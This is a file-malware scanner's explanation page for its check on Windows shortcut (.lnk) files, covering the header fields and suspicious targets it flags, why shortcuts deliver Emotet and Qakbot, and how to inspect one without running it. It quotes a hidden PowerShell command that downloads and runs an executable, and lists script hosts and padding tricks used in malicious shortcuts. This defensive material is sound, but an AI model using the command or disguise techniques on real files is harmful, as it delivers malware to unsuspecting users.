The fix, in one snippet
Get-Content file.lnk -Encoding Byte | Format-Hex | Select -First 40Illustrative values. Change the paths, hostnames and options to match your own site before using it.
The sections below explain what is tested, why it matters and the alternatives.
What we test
The scanner parses the Shell Link header (HeaderSize 0x4C and the LNK CLSID), the link flags, the target path, the relative path, the command-line arguments, the working directory, the icon location and index, and the ShowCommand value (7, SW_SHOWMINNOACTIVE, hides the window). It flags a target of cmd.exe, powershell.exe, mshta.exe, wscript.exe, cscript.exe, rundll32.exe or regsvr32.exe; arguments containing download cradles or encoded commands; an icon borrowed from a document viewer; arguments padded with whitespace so the Properties dialog looks empty (a technique documented by Trend Micro's Zero Day Initiative in 2025); and data appended after the shortcut structure, which is often the payload itself. The machine identifier stored in the tracker block is reported as information. Limits: a shortcut on your own desktop is normal; the same file arriving in an archive or email is not, and the scanner cannot know which you have.
Why it matters
Explorer never shows the .lnk extension, even with extensions enabled, so Invoice.pdf.lnk appears as Invoice.pdf with whatever icon the file specifies. Double-clicking runs the stored command line, typically powershell -w hidden -c "iwr http://…/a.exe -o $env:TEMP\a.exe; & $env:TEMP\a.exe". After Microsoft blocked internet macros in 2022, shortcuts became the leading first-stage file for Emotet, Qakbot, IcedID and Bumblebee. The 2010 Stuxnet exploit (CVE-2010-2568) even ran code merely by displaying the shortcut's icon. Windows users are the audience; other systems do not resolve .lnk files.
How to fix it
Never open a shortcut you received. To inspect one without running it, read the target and arguments from a script (in a virtual machine, since the Properties dialog truncates long targets):
$s = (New-Object -ComObject WScript.Shell).CreateShortcut("C:\path\Invoice.pdf.lnk")
$s.TargetPath; $s.Arguments; $s.IconLocationOr use lnkinfo from the liblnk project. Delete the file; if it has run, follow the response steps under dangerous commands. Administrators should block .lnk attachments at the gateway. Related: archive contains an executable. Guides: disguised files and is this file safe?
Where this fits
Windows shortcut (.lnk) file is check 14 of 20 that the file malware scanner runs under file structure and malware indicators, ordered the way they are worth fixing. That ordering is the point: Fixing this one while the check above it still fails buys less than it looks like.
Fix this one first
Above it in the same category sits PDF contains launch or open actions (high), where the PDF contains an action that fires when the file opens or when you interact with it, such as launching a program, opening a URL or submitting form data. An attacker who has that does not need this, so it is the better use of the same hour.
What fixing this still leaves open
Windows shortcut (.lnk) file closes one route in. Immediately below it: Deeply nested archive, where the archive contains further archives several levels deep, a structure used to exhaust scanners and to strip the Mark of the Web before the payload arrives; Executable program file, where the file is an executable program (Windows PE, macOS Mach-O, Linux ELF, an installer or a script) that will run with your privileges if opened; PDF contains embedded files, where the PDF carries one or more attached files inside it, which can be executables, scripts or further documents that a reader can extract and open.
The first few lines
You are a senior web engineer. I ran a security and SEO scanner against my site and it reported the finding below. Fix it properly rather than suppressing the symptom.
Finding: Windows shortcut (.lnk) file (high severity)
Scanner check id: windows-shortcutThe rest of this prompt names the pages and line numbers we found the problem on, the configuration to change, and the constraints a good answer has to respect. It is free, it just needs an account so the work is not scraped wholesale.
Sign in with GoogleSigning in is free and takes one click. We store your email address and nothing else.
References
Related guides
8 min read · Updated Sep 13, 2026
Disguised Files: Double Extensions, Fake Icons and Executables Pretending to Be Documents
invoice.pdf.exe, a screensaver with a folder icon, a shortcut that runs PowerShell: Attackers rely on the file looking harmless. The...
Read the guide
8 min read · Updated Sep 16, 2026
Is This File Safe? A Step-by-Step Way to Judge a File Before Opening It
You have a file and you are not sure. This guide gives an order of checks: Where it came from, its real type, its hash, a scan, and the...
Read the guide